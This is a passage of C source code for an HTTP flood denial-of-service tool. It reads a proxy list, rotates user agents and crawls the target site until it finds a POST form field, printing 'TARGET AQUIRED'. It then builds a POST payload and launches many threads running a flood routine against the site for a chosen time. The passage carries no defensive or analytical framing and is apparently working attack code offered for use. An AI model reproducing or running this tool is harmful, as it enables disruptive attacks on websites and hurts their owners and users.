 245 | 		perror("Could not connect");
 246 | 		exit(1);
 247 | 	}
 248 | 		
 249 | 	tmpres = send(sock, packet, strlen(packet), 0);
 250 | 	
 251 | 	//printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);	
 252 | 	
 253 | 	if (tmpres == -1){
 254 | 		perror("Can't send query");
 255 | 		exit(1);
 256 | 	}
 257 | 
 258 | 	int i = 1;
 259 | 	int dwTotal = 0;
 260 | 
 261 | 
 262 | 	while (1)
 263 | 	{
 264 | 		i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
 265 | 		//printf("Received %d bytes\n", i);
 266 | 		if (i <= 0)
 267 | 			break;
 268 | 			
 269 | 		dwTotal += i;
 270 | 	}
 271 | 
 272 | 	szRecvBuff[dwTotal] = '\0';
 273 | 	
 274 | 
 275 | 	//printf("Received -> \n%s\n\n", szRecvBuff);
 276 | 
 277 | 	
 278 | 	close(sock);
 279 | 	
 280 | 	//printf("Sent %d bytes\n", tmpres);
 281 | 	
 282 | 	return 0;
 283 | }
 284 | 
 285 | int main(int argc, char *argv[ ]) {
 286 | 	if(argc < 5){
 287 | 		fprintf(stderr, "Invalid parameters!\n");
 288 | 		fprintf(stdout, "Usage: %s <target url> <auto scrape (1 or 0)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [manual parameter]\n", argv[0]);
 289 | 		exit(-1);
 290 | 	}
 291 | 	//fprintf(stdout, "Setting up Sockets...\n");
 292 | 	int num_threads = atoi(argv[3]);
 293 | 	int scrapeit = atoi(argv[2]);
 294 | 	FILE *pFile = fopen(argv[4], "rb");
 295 | 	if(pFile==NULL)
 296 | 	{
 297 | 		perror("fopen"); exit(1);
 298 | 	}
 299 | 	fseek(pFile, 0, SEEK_END);
 300 | 	long lSize = ftell(pFile);
 301 | 	rewind(pFile);
 302 | 	char *buffer = (char *)malloc(lSize*sizeof(char));
 303 | 	fread(buffer, 1, lSize, pFile);
 304 | 	fclose (pFile);
 305 | 	int i=0;
 306 | 	char *pch = (char *)strtok(buffer, ":");
 307 | 	while(pch != NULL)
 308 | 	{
 309 | 		if(head == NULL)
 310 | 		{
 311 | 			head = (struct list *)malloc(sizeof(struct list));
 312 | 			bzero(head, sizeof(struct list));
 313 | 			head->data = (struct proxy *)malloc(sizeof(struct proxy));
 314 | 			bzero(head->data, sizeof(struct proxy));
 315 | 			head->data->working = 1;
 316 | 			head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
 317 | 			pch = (char *)strtok(NULL, ":");
 318 | 			if(pch == NULL) exit(-1);
 319 | 			head->data->port = atoi(pch);
 320 | 			pch = (char *)strtok(NULL, ":");
 321 | 			head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
 322 | 			pch = (char *)strtok(NULL, ":");
 323 | 			head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
 324 | 			head->next = head;
 325 | 			head->prev = head;
 326 | 		} else {
 327 | 			struct list *new_node = (struct list *)malloc(sizeof(struct list));
 328 | 			bzero(new_node, sizeof(struct list));
 329 | 			new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
 330 | 			bzero(new_node->data, sizeof(struct proxy));
 331 | 			new_node->data->working = 1;
 332 | 			new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
 333 | 			pch = (char *)strtok(NULL, ":");
 334 | 			if(pch == NULL) break;
 335 | 			new_node->data->port = atoi(pch);
 336 | 			pch = (char *)strtok(NULL, ":");
 337 | 			new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
 338 | 			pch = (char *)strtok(NULL, ":");
 339 | 			new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
 340 | 			new_node->prev = head;
 341 | 			new_node->next = head->next;
 342 | 			head->next = new_node;
 343 | 		}
 344 | 	}
 345 | 	free(buffer);
 346 | 	const rlim_t kOpenFD = 1024 + (num_threads * 2);
 347 | 	struct rlimit rl;
 348 | 	int result;
 349 | 	rl.rlim_cur = kOpenFD;
 350 | 	rl.rlim_max = kOpenFD;
 351 | 	result = setrlimit(RLIMIT_NOFILE, &rl);
 352 | 	if (result != 0)
 353 | 	{
 354 | 		perror("setrlimit");
 355 | 		fprintf(stderr, "setrlimit returned result = %d\n", result);
 356 | 	}
 357 | 	char *parameter;
 358 | 	if(argc > 7)
 359 | 	{
 360 | 		parameter = argv[7];
 361 | 	} else {
 362 | 		parameter = "username";
 363 | 	}
 364 | 	setupparts();
 365 | 	parseURL(argv[1], returnparts);
 366 | 	if(argc > 6 && !(strcmp(argv[6], "0") == 0))
 367 | 	{
 368 | 		ipstr = malloc(strlen(argv[6])+1);
 369 | 		strcpy(ipstr, argv[6]);
 370 | 		//fprintf(stdout, "Using manual IP...\n");
 371 | 	} else {
 372 | 		struct hostent *he;
 373 | 		struct in_addr a;
 374 | 		he = gethostbyname(returnparts[host]->value);
 375 | 		if (he)
 376 | 		{
 377 | 			while (*he->h_addr_list)
 378 | 			{
 379 | 				bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
 380 | 				ipstr = malloc(INET_ADDRSTRLEN+1);
 381 | 				inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
 382 | 				break;
 383 | 			}
 384 | 		}
 385 | 		else
 386 | 		{ herror("gethostbyname"); }
 387 | 	}
 388 | 	char *targeturl = argv[1];
 389 | 	char *targetparameter = parameter;
 390 | 	if(scrapeit == 1)
 391 | 	{
 392 | 		char *original_domain = malloc(strlen(returnparts[host]->value)+1);
 393 | 		strcpy(original_domain, returnparts[host]->value);
 394 | 		freeparts();
 395 | 		struct urllist *headurl = malloc(sizeof(struct urllist));
 396 | 		bzero(headurl, sizeof(struct urllist));
 397 | 		headurl->url = argv[1];
 398 | 		headurl->done = 0;
 399 | 		headurl->next = headurl;
 400 | 		headurl->prev = headurl;
 401 | 		int donescrape = 0;
 402 | 		char *lasturl = "";
 403 | 		while(headurl->done == 0)
 404 | 		{
 405 | 			if(headurl->url == NULL)
 406 | 			{
 407 | 				headurl->done = 1;
 408 | 				headurl = headurl->next;
 409 | 				continue;
 410 | 			}
 411 | 			if(strcmp(headurl->url, lasturl) == 0)
 412 | 			{
 413 | 				headurl->done = 1;
 414 | 				headurl = headurl->next;
 415 | 				continue;
 416 | 			}
 417 | 			lasturl = headurl->url;
 418 | 			printf("Scraping: %s\n", headurl->url);
 419 | 			char *buffer = geturl(headurl->url, useragents[rand() % (sizeof(useragents)/sizeof(char *))], ipstr);
 420 | 			if(strstr(buffer, "\r\n\r\n")==NULL)
 421 | 			{
 422 | 				free(buffer);
 423 | 				headurl->done = 1;
 424 | 				headurl = headurl->next;
 425 | 				continue;
 426 | 			}
 427 | 			char *headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
 428 | 			memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
 429 | 			char *body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
 430 | 			int status = atoi(strchr(strncpy(malloc(1024),headerstatus,strstr(headerstatus, "\r\n") - headerstatus), ' ') + 1);
 431 | 			char *headers = strstr(headerstatus, "\r\n")+2;
 432 | 			int temp = ((status/10)/10) % 10;
 433 | 			if(temp == 4)
 434 | 			{
 435 | 				free(headerstatus);
 436 | 				free(buffer);
 437 | 				headurl->done = 1;
 438 | 				headurl = headurl->next;
 439 | 				continue;
 440 | 			}
 441 | 			if(temp == 3)
 442 | 			{
 443 | 				char *location = stristr(headers, "Location: ") + 10;
 444 | 				if(location == NULL)
 445 | 				{
 446 | 					free(headerstatus);
 447 | 					free(buffer);
 448 | 					headurl->done = 1;
 449 | 					headurl = headurl->next;
 450 | 					continue;
 451 | 				}
 452 | 				struct urllist *newurl = malloc(sizeof(struct urllist));
 453 | 				bzero(newurl, sizeof(struct urllist));
 454 | 				char *nexturl = malloc(strstr(location, "\r\n") - location + 1);
 455 | 				bzero(nexturl, strstr(location, "\r\n") - location + 1);
 456 | 				strncpy(nexturl, location, strstr(location, "\r\n") - location);
 457 | 				char *parsednexturl;
 458 | 				setupparts();
 459 | 				parseURL(nexturl, returnparts);
 460 | 				if(!(*(returnparts[path]->value)))
 461 | 				{
 462 | 					free(headerstatus);
 463 | 					free(buffer);
 464 | 					headurl->done = 1;
 465 | 					headurl = headurl->next;
 466 | 					continue;
 467 | 				}
 468 | 				if(*(returnparts[host]->value))
 469 | 				{
 470 | 					char *host_tmp = str_replace(returnparts[host]->value, "www.", "");
 471 | 					if(host_tmp != NULL)
 472 | 					{
 473 | 						if(strcmp(host_tmp, original_domain) != 0)
 474 | 						{
 475 | 							free(headerstatus);
 476 | 							free(buffer);
 477 | 							headurl->done = 1;
 478 | 							headurl = headurl->next;
 479 | 							continue;
 480 | 						} else {
 481 | 							original_domain = malloc(strlen(returnparts[host]->value)+1);
 482 | 							bzero(original_domain, strlen(returnparts[host]->value)+1);
 483 | 							strcpy(original_domain, returnparts[host]->value);
 484 | 						}
 485 | 						
 486 | 					} else {
 487 | 						if(strcmp(returnparts[host]->value, original_domain) != 0)
 488 | 						{
 489 | 							free(headerstatus);
 490 | 							free(buffer);
 491 | 							headurl->done = 1;
 492 | 							headurl = headurl->next;
 493 | 							continue;
 494 | 						}
 495 | 					}
 496 | 					
 497 | 					parsednexturl = malloc(strlen(nexturl)+1);
 498 | 					bzero(parsednexturl, strlen(nexturl)+1);
 499 | 					strcpy(parsednexturl, nexturl);
 500 | 				} else {
 501 | 					parsednexturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
 502 | 					bzero(parsednexturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
 503 | 					strcpy(parsednexturl, "http://");
 504 | 					strcpy(parsednexturl + 7, original_domain);
 505 | 					strcpy(parsednexturl + 7 + strlen(original_domain), "/");
 506 | 					strcpy(parsednexturl + 7 + strlen(original_domain) + 1, returnparts[path]->value);
 507 | 					char *tmp = malloc(strlen(original_domain)+2);
 508 | 					bzero(tmp, strlen(original_domain)+2);
 509 | 					sprintf(tmp, "%s/", original_domain);
 510 | 					char *tmp2 = malloc(strlen(original_domain)+3);
 511 | 					bzero(tmp2, strlen(original_domain)+3);
 512 | 					sprintf(tmp2, "%s//", original_domain);
 513 | 					char *parsednexturl_tmp = str_replace(parsednexturl, tmp2, tmp);
 514 | 					if(parsednexturl_tmp != NULL)
 515 | 					{
 516 | 						free(parsednexturl);
 517 | 						parsednexturl = parsednexturl_tmp;
 518 | 					}
 519 | 					free(tmp);
 520 | 					free(tmp2);
 521 | 				}
 522 | 				freeparts();
 523 | 				free(nexturl);
 524 | 				
 525 | 				newurl->url = parsednexturl;
 526 | 				newurl->done = 0;
 527 | 				newurl->next = headurl->next;
 528 | 				newurl->prev = headurl;
 529 | 				headurl->next = newurl;
 530 | 				headurl->done = 1;
 531 | 				headurl = headurl->next;
 532 | 				free(headerstatus);
 533 | 				free(buffer);
 534 | 				continue;
 535 | 			}
 536 | 			char *formstart = body;
 537 | 			while(stristr(formstart, "<form")!=NULL)
 538 | 			{
 539 | 				formstart = stristr(formstart, "<form")+5;
 540 | 				char *formend = stristr(formstart, "</form");
 541 | 				char *input = formstart;
 542 | 				char *method = stristr(formstart, "method=");
 543 | 				if(method == NULL || method > stristr(formstart, ">"))
 544 | 				{
 545 | 					continue;
 546 | 				}
 547 | 				char *methodstart = method+7;
 548 | 				char *methodname = NULL;
 549 | 				if(strchr(methodstart, '"')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '"'))
 550 | 				{
 551 | 					methodstart = strchr(method, '"')+1;
 552 | 					methodname = malloc(strchr(methodstart, '"') - methodstart + 1);
 553 | 					bzero(methodname, strchr(methodstart, '"') - methodstart + 1);
 554 | 					strncpy(methodname, methodstart, strchr(methodstart, '"') - methodstart);
 555 | 				} else if(strchr(methodstart, '\'')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '\''))
 556 | 				{
 557 | 					methodstart = strchr(method, '\'')+1;
 558 | 					methodname = malloc(strchr(methodstart, '\'') - methodstart + 1);
 559 | 					bzero(methodname, strchr(methodstart, '\'') - methodstart + 1);
 560 | 					strncpy(methodname, methodstart, strchr(methodstart, '\'') - methodstart);
 561 | 				} else {
 562 | 					char *end = NULL;
 563 | 					if(strchr(methodstart, ' ') > strchr(methodstart, '>'))
 564 | 					{
 565 | 						end = strchr(methodstart, '>');
 566 | 					} else {
 567 | 						end = strchr(methodstart, ' ');
 568 | 					}
 569 | 					methodname = malloc(end - methodstart + 1);
 570 | 					bzero(methodname, end - methodstart + 1);
 571 | 					strncpy(methodname, methodstart, end - methodstart);
 572 | 				}
 573 | 				int i;
 574 | 				for(i=0;*(methodname + i);i++)
 575 | 				{
 576 | 					*(methodname + i) = toupper(*(methodname + i));
 577 | 				}
 578 | 				if(strcmp(methodname, "GET") == 0)
 579 | 				{
 580 | 					continue;
 581 | 				}
 582 | 				char *action = stristr(formstart, "action=");
 583 | 				char *actionname = NULL;
 584 | 				if(action == NULL || action > formend)
 585 | 				{
 586 | 					actionname = headurl->url;
 587 | 				} else {
 588 | 					char *actionstart = action;
 589 | 					if(strchr(actionstart, '"') != NULL && strchr(actionstart, '>') > strchr(actionstart, '"'))
 590 | 					{
 591 | 						actionstart = strchr(action, '"')+1;
 592 | 						actionname = malloc(strchr(actionstart, '"') - actionstart + 1);
 593 | 						bzero(actionname, strchr(actionstart, '"') - actionstart + 1);
 594 | 						strncpy(actionname, actionstart, strchr(actionstart, '"') - actionstart);
 595 | 					} else if(strchr(actionstart, '\'') != NULL && strchr(actionstart, '>') > strchr(actionstart, '\''))
 596 | 					{
 597 | 						actionstart = strchr(action, '\'')+1;
 598 | 						actionname = malloc(strchr(actionstart, '\'') - actionstart + 1);
 599 | 						bzero(actionname, strchr(actionstart, '\'') - actionstart + 1);
 600 | 						strncpy(actionname, actionstart, strchr(actionstart, '\'') - actionstart);
 601 | 					} else {
 602 | 						char *end = NULL;
 603 | 						if(strchr(actionstart, ' ') > strchr(actionstart, '>'))
 604 | 						{
 605 | 							end = strchr(actionstart, '>');
 606 | 						} else {
 607 | 							end = strchr(actionstart, ' ');
 608 | 						}
 609 | 						actionname = malloc(end - action + 1);
 610 | 						bzero(actionname, end - action + 1);
 611 | 						strncpy(actionname, action, end - action);
 612 | 					}
 613 | 				}
 614 | 				if(strcmp(actionname, "") == 0)
 615 | 				{
 616 | 					free(actionname);
 617 | 					actionname = headurl->url;
 618 | 				}
 619 | 				while((input = stristr(input, "<input")) != NULL)
 620 | 				{
 621 | 					input = input + 6;
 622 | 					char *inputname = stristr(input, "name=");
 623 | 					if(inputname != NULL)
 624 | 					{
 625 | 						inputname = inputname+5;
 626 | 						char *namestart = inputname;
 627 | 						char *name;
 628 | 						if(strchr(inputname, '"')!=NULL && strchr(inputname, '>') > strchr(inputname, '"'))
 629 | 						{
 630 | 							namestart = strchr(inputname, '"')+1;
 631 | 							name = malloc(strchr(namestart, '"') - namestart + 1);
 632 | 							bzero(name, strchr(namestart, '"') - namestart + 1);
 633 | 							strncpy(name, namestart, strchr(namestart, '"') - namestart);
 634 | 						} else if(strchr(inputname, '\'')!=NULL && strchr(inputname, '>') > strchr(inputname, '\''))
 635 | 						{
 636 | 							namestart = strchr(inputname, '\'')+1;
 637 | 							name = malloc(strchr(namestart, '\'') - namestart + 1);
 638 | 							bzero(name, strchr(namestart, '\'') - namestart + 1);
 639 | 							strncpy(name, namestart, strchr(namestart, '\'') - namestart);
 640 | 						} else {
 641 | 							char *end = NULL;
 642 | 							if(strchr(inputname, ' ') > strchr(inputname, '>'))
 643 | 							{
 644 | 								end = strchr(inputname, '>');
 645 | 							} else {
 646 | 								end = strchr(inputname, ' ');
 647 | 							}
 648 | 							name = malloc(end - inputname + 1);
 649 | 							bzero(name, end - inputname + 1);
 650 | 							strncpy(name, namestart, end - inputname);
 651 | 						}
 652 | 						targetparameter = name;
 653 | 						setupparts();
 654 | 						parseURL(actionname, returnparts);
 655 | 						if(!(*(returnparts[path]->value)))
 656 | 						{
 657 | 							goto NOTRIGHT;
 658 | 						}
 659 | 						if(*(returnparts[host]->value))
 660 | 						{
 661 | 							if(strcmp(returnparts[host]->value, original_domain) != 0)
 662 | 							{
 663 | 								goto NOTRIGHT;
 664 | 							}
 665 | 							targeturl = actionname;
 666 | 						} else {
 667 | 							targeturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
 668 | 							bzero(targeturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
 669 | 							strcpy(targeturl, "http://");
 670 | 							strcpy(targeturl + 7, original_domain);
 671 | 							strcpy(targeturl + 7 + strlen(original_domain), "/");
 672 | 							strcpy(targeturl + 7 + strlen(original_domain) + 1, returnparts[path]->value);
 673 | 							char *tmp = malloc(strlen(original_domain)+2);
 674 | 							bzero(tmp, strlen(original_domain)+2);
 675 | 							sprintf(tmp, "%s/", original_domain);
 676 | 							char *tmp2 = malloc(strlen(original_domain)+3);
 677 | 							bzero(tmp2, strlen(original_domain)+3);
 678 | 							sprintf(tmp2, "%s//", original_domain);
 679 | 							char *targeturl_tmp = str_replace(targeturl, tmp2, tmp);
 680 | 							if(targeturl_tmp != NULL)
 681 | 							{
 682 | 								free(targeturl);
 683 | 								targeturl = targeturl_tmp;
 684 | 							}
 685 | 							free(tmp);
 686 | 							free(tmp2);
 687 | 						}
 688 | 						freeparts();
 689 | 						free(headerstatus);
 690 | 						free(buffer);
 691 | 						printf("TARGET AQUIRED: %s, %s\n", targeturl, targetparameter);
 692 | 						goto END;
 693 | 					}
 694 | 				}
 695 | NOTRIGHT:
 696 | 				continue;
 697 | 			}
 698 | 			char *link = body;
 699 | 			while((link = stristr(link, "<a ")) != NULL)
 700 | 			{
 701 | 				link = link+3;
 702 | 				char *href = stristr(link, "href=");
 703 | 				if(href == NULL || href > stristr(link, ">"))
 704 | 				{
 705 | 					continue;
 706 | 				}
 707 | 				href = href + 5;
 708 | 				char *hrefstart = href;
 709 | 				char *hreftarget;
 710 | 				if(strchr(hrefstart, '"')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '"'))
 711 | 				{
 712 | 					hrefstart = strchr(hrefstart, '"')+1;
 713 | 					hreftarget = malloc(strchr(hrefstart, '"') - hrefstart + 1);
 714 | 					bzero(hreftarget, strchr(hrefstart, '"') - hrefstart + 1);
 715 | 					strncpy(hreftarget, hrefstart, strchr(hrefstart, '"') - hrefstart);
 716 | 				} else if(strchr(hrefstart, '\'')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '\''))
 717 | 				{
 718 | 					hrefstart = strchr(hrefstart, '\'')+1;
 719 | 					hreftarget = malloc(strchr(hrefstart, '\'') - hrefstart + 1);
 720 | 					bzero(hreftarget, strchr(hrefstart, '\'') - hrefstart + 1);
 721 | 					strncpy(hreftarget, hrefstart, strchr(hrefstart, '\'') - hrefstart);
 722 | 				} else {
 723 | 					char *end = NULL;
 724 | 					if(strchr(hrefstart, ' ') > strchr(hrefstart, '>'))
 725 | 					{
 726 | 						end = strchr(hrefstart, '>');
 727 | 					} else {
 728 | 						end = strchr(hrefstart, ' ');
 729 | 					}
 730 | 					hreftarget = malloc(end - hrefstart + 1);
 731 | 					bzero(hreftarget, end - hrefstart + 1);
 732 | 					strncpy(hreftarget, hrefstart, end - hrefstart);
 733 | 				}
 734 | 				if(strcmp(hreftarget, "#") == 0 || stristr(hreftarget, "javascript:") != NULL)
 735 | 				{
 736 | 					free(hreftarget);
 737 | 					continue;
 738 | 				}
 739 | 				char *scrapenext;
 740 | 				setupparts();
 741 | 				parseURL(hreftarget, returnparts);
 742 | 				if(!(*(returnparts[path]->value)))
 743 | 				{
 744 | 					freeparts();
 745 | 					continue;
 746 | 				}
 747 | 				if(*(returnparts[host]->value))
 748 | 				{
 749 | 					if(strcmp(returnparts[host]->value, original_domain) != 0)
 750 | 					{
 751 | 						freeparts();
 752 | 						continue;
 753 | 					}
 754 | 					scrapenext = hreftarget;
 755 | 				} else {
 756 | 					scrapenext = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
 757 | 					bzero(scrapenext, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
 758 | 					strcpy(scrapenext, "http://");
 759 | 					strcpy(scrapenext + 7, original_domain);
 760 | 					strcpy(scrapenext + 7 + strlen(original_domain), "/");
 761 | 					strcpy(scrapenext + 7 + strlen(original_domain) + 1, returnparts[path]->value);
 762 | 					char *tmp = malloc(strlen(original_domain)+2);
 763 | 					bzero(tmp, strlen(original_domain)+2);
 764 | 					sprintf(tmp, "%s/", original_domain);
 765 | 					char *tmp2 = malloc(strlen(original_domain)+3);
 766 | 					bzero(tmp2, strlen(original_domain)+3);
 767 | 					sprintf(tmp2, "%s//", original_domain);
 768 | 					char *scrapenext_tmp = str_replace(scrapenext, tmp2, tmp);
 769 | 					if(scrapenext_tmp != NULL)
 770 | 					{
 771 | 						free(scrapenext);
 772 | 						scrapenext = scrapenext_tmp;
 773 | 					}
 774 | 					free(tmp);
 775 | 					free(tmp2);
 776 | 				}
 777 | 				freeparts();
 778 | 				int alreadyadded = 0;
 779 | 				if(headurl->next == headurl)
 780 | 				{
 781 | 					if(strcmp(headurl->url, scrapenext) == 0)
 782 | 					{
 783 | 						alreadyadded = 1;
 784 | 					}
 785 | 				} else {
 786 | 					struct urllist *dup = headurl->next;
 787 | 					while(dup != headurl)
 788 | 					{
 789 | 						if(dup->url == NULL)
 790 | 						{
 791 | 							dup->prev->next = dup->next;
 792 | 							dup->next->prev = dup->prev;
 793 | 							dup = dup->next;
 794 | 							continue;
 795 | 						}
 796 | 						if(strcmp(dup->url, scrapenext) == 0)
 797 | 						{
 798 | 							alreadyadded = 1;
 799 | 							break;
 800 | 						}
 801 | 						dup = dup->next;
 802 | 					}
 803 | 				}
 804 | 				if(alreadyadded == 0)
 805 | 				{
 806 | 					struct urllist *newurl = malloc(sizeof(struct urllist));
 807 | 					bzero(newurl, sizeof(struct urllist));
 808 | 					newurl->url = scrapenext;
 809 | 					newurl->done = 0;
 810 | 					newurl->next = headurl->next;
 811 | 					newurl->prev = headurl;
 812 | 					headurl->next = newurl;
 813 | 				}
 814 | 			}
 815 | 			headurl->done = 1;
 816 | 			headurl = headurl->next;
 817 | 			free(headerstatus);
 818 | 			free(buffer);
 819 | 		}
 820 | END:
 821 | 		free(original_domain);
 822 | 	} else {
 823 | 		freeparts();
 824 | 	}
 825 | 	setupparts();
 826 | 	parseURL(targeturl, returnparts);
 827 | 	pthread_t thread[num_threads];
 828 | 	struct list *td[num_threads];
 829 | 	struct list *node = head->next;
 830 | 	
 831 | 	
 832 | 	for(i=0;i<num_threads;i++)
 833 | 	{
 834 | 		td[i] = node;
 835 | 		node = node->next;
 836 | 	}
 837 | 	postpayload = malloc(4096);
 838 | 	sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value, targetparameter);
 839 | 	freeparts();
 840 | 	
 841 | 	//fprintf(stdout, "Starting Flood...\n");
 842 | 	
 843 | 	fnAttackInformation(atoi(argv[argc-1]));
 844 | 	
 845 | 	for(i = 0;i<num_threads;i++){
 846 | 		pthread_create( &thread[i], NULL, &flood, (void *) td[i]);
 847 | 	}
 848 | 	sleep(atoi(argv[5]));
 849 | 	return 0;
 850 | }
 851 | char *geturl(char *url, char *useragent, char *ip)
 852 | {
 853 | RETRY:
 854 | 	setupparts();
 855 | 	parseURL(url, returnparts);
 856 | 	struct sockaddr_in serverAddr;
 857 | 	bzero(&serverAddr, sizeof(serverAddr));
 858 | 	serverAddr.sin_family = AF_INET;
 859 | 	serverAddr.sin_port = htons(ATTACKPORT);
 860 | 	serverAddr.sin_addr.s_addr = inet_addr(ip);
 861 | 	int serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 862 | 	unsigned int yes = 1;
 863 | 	setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes));
 864 | 	if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
 865 | 	{
 866 | 		printf("GETURL CONNECT FAILED, RETRYING\n");
 867 | 		close(serverSocket);
 868 | 		freeparts();
 869 | 		goto RETRY;
 870 | 	}
 871 | 	int bytes = 0;
 872 | 	char *payload = malloc(8094);
 873 | 	bzero(payload, 8094);
 874 | 	sprintf(payload, "GET /%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\nUser-Agent: %s\r\n\r\n", returnparts[path]->value, returnparts[host]->value, useragent);
 875 | 	freeparts();
 876 | 	bytes = send(serverSocket, payload, strlen(payload), MSG_NOSIGNAL);
 877 | 	if(bytes == -1)
 878 | 	{
 879 | 		printf("GETURL SEND FAILED, SITE CLOSED CONNECTION, RETRYING\n");
 880 | 		close(serverSocket);
 881 | 		goto RETRY;
 882 | 	}
 883 | 	int total = 0;
 884 | 	int currentsize = 4096;
 885 | 	char *buffer = malloc(4096);
 886 | 	bzero(buffer, 4096);
 887 | 	bytes = recv(serverSocket, buffer, 4096, 0);
 888 | 	while(bytes > 0)
 889 | 	{
 890 | 		total += bytes;
 891 | 		if(total+4096 > currentsize)
 892 | 		{
 893 | 			char *new_buffer = malloc(total+4096);
 894 | 			bzero(new_buffer, total+4096);
 895 | 			memcpy(new_buffer, buffer, total);
 896 | 			free(buffer);
 897 | 			buffer = new_buffer;
 898 | 			currentsize = total+4096;
 899 | 		}
 900 | 		bytes = recv(serverSocket, buffer+total, 4096, 0);
 901 | 	}
 902 | 	return buffer;
 903 | }
 904 | void freeparts()
 905 | {
 906 | 	return;
 907 | 	if(returnparts[0]!=NULL) { free(returnparts[0]); }
 908 | 	if(returnparts[1]!=NULL) { free(returnparts[1]); }
 909 | 	if(returnparts[2]!=NULL) { free(returnparts[2]); }
 910 | 	if(returnparts[3]!=NULL) { free(returnparts[3]); }
 911 | 	if(returnparts[4]!=NULL) { free(returnparts[4]); }
 912 | 	if(returnparts[5]!=NULL) { free(returnparts[5]); }
 913 | 	if(returnparts[6]!=NULL) { free(returnparts[6]); }
 914 | 	if(returnparts[7]!=NULL) { free(returnparts[7]); }
 915 | 	if(returnparts[8]!=NULL) { free(returnparts[8]); }
 916 | 	return;
 917 | }
 918 | void setupparts()
 919 | {
 920 | 	returnparts[0] = malloc(sizeof(struct urlparts));
 921 | 	returnparts[1] = malloc(sizeof(struct urlparts));
 922 | 	returnparts[2] = malloc(sizeof(struct urlparts));
 923 | 	returnparts[3] = malloc(sizeof(struct urlparts));
 924 | 	returnparts[4] = malloc(sizeof(struct urlparts));
 925 | 	returnparts[5] = malloc(sizeof(struct urlparts));
 926 | 	returnparts[6] = malloc(sizeof(struct urlparts));
 927 | 	returnparts[7] = malloc(sizeof(struct urlparts));
 928 | 	returnparts[8] = malloc(sizeof(struct urlparts));
 929 | 	bzero(returnparts[0], sizeof(struct urlparts));
 930 | 	bzero(returnparts[1], sizeof(struct urlparts));
 931 | 	bzero(returnparts[2], sizeof(struct urlparts));
 932 | 	bzero(returnparts[3], sizeof(struct urlparts));
 933 | 	bzero(returnparts[4], sizeof(struct urlparts));
 934 | 	bzero(returnparts[5], sizeof(struct urlparts));
 935 | 	bzero(returnparts[6], sizeof(struct urlparts));
 936 | 	bzero(returnparts[7], sizeof(struct urlparts));
 937 | 	bzero(returnparts[8], sizeof(struct urlparts));
 938 | 	returnparts[0]->name = "scheme";
 939 | 	strcpy(returnparts[0]->separator, ":");
 940 | 	returnparts[1]->name = "userid";
 941 | 	strcpy(returnparts[1]->separator, "@");
 942 | 	returnparts[2]->name = "password";
 943 | 	strcpy(returnparts[2]->separator, ":");
 944 | 	returnparts[3]->name = "host";
 945 | 	strcpy(returnparts[3]->separator, "//");
 946 | 	returnparts[4]->name = "port";
 947 | 	strcpy(returnparts[4]->separator, ":");
 948 | 	returnparts[5]->name = "path";
 949 | 	strcpy(returnparts[5]->separator, "/");
 950 | 	returnparts[6]->name = "param";
 951 | 	strcpy(returnparts[6]->separator, ";");
 952 | 	returnparts[7]->name = "query";
 953 | 	strcpy(returnparts[7]->separator, "?");
 954 | 	returnparts[8]->name = "fragment";
 955 | 	strcpy(returnparts[8]->separator, "#");
 956 | 	return;
 957 | }
 958 | int parseURL(char *url, struct urlparts **returnpart) {
 959 | 	register i;
 960 | 	int seplen;
 961 | 	char * remainder;
 962 | 	char * regall = ":/;?#";
 963 | 	char * regpath = ":;?#";
 964 | 	char * regx;
 965 | 	if(!*url)
 966 | 	{
 967 | 		strcpy(parseError, "nothing to do!\n");
 968 | 		return 0;
 969 | 	}
 970 | 	if((remainder = malloc(strlen(url) + 1)) == NULL)
 971 | 	{
 972 | 		printf("cannot allocate memory\n");
 973 | 		exit(-1);
 974 | 	}
 975 | 	strcpy(remainder, url);
 976 | 	if(firstpunc(remainder) == ':')
 977 | 	{
 978 | 		strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
 979 | 		strleft(remainder, 1);
 980 | 	}
 981 | 	if (!strcmp(returnpart[scheme]->value, "mailto"))
 982 | 	*(returnpart[host]->separator) = 0;
 983 | 	for(i = 0; i < NUMPARTS; i++)
 984 | 	{
 985 | 		if(!*remainder)
 986 | 		break;
 987 | 		if(i == scheme || i == userid || i == password)
 988 | 		continue;
 989 | 		if(i == host && strchr(remainder, '@'))
 990 | 		{
 991 | 			if(!strncmp(remainder, "//", 2))
 992 | 			strleft(remainder, 2);
 993 | 			strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
 994 | 			strleft(remainder, 1);
 995 | 			if(strchr(remainder, '@'))
 996 | 			{
 997 | 				strcpy(returnpart[password]->value, strsplit(remainder, "@"));
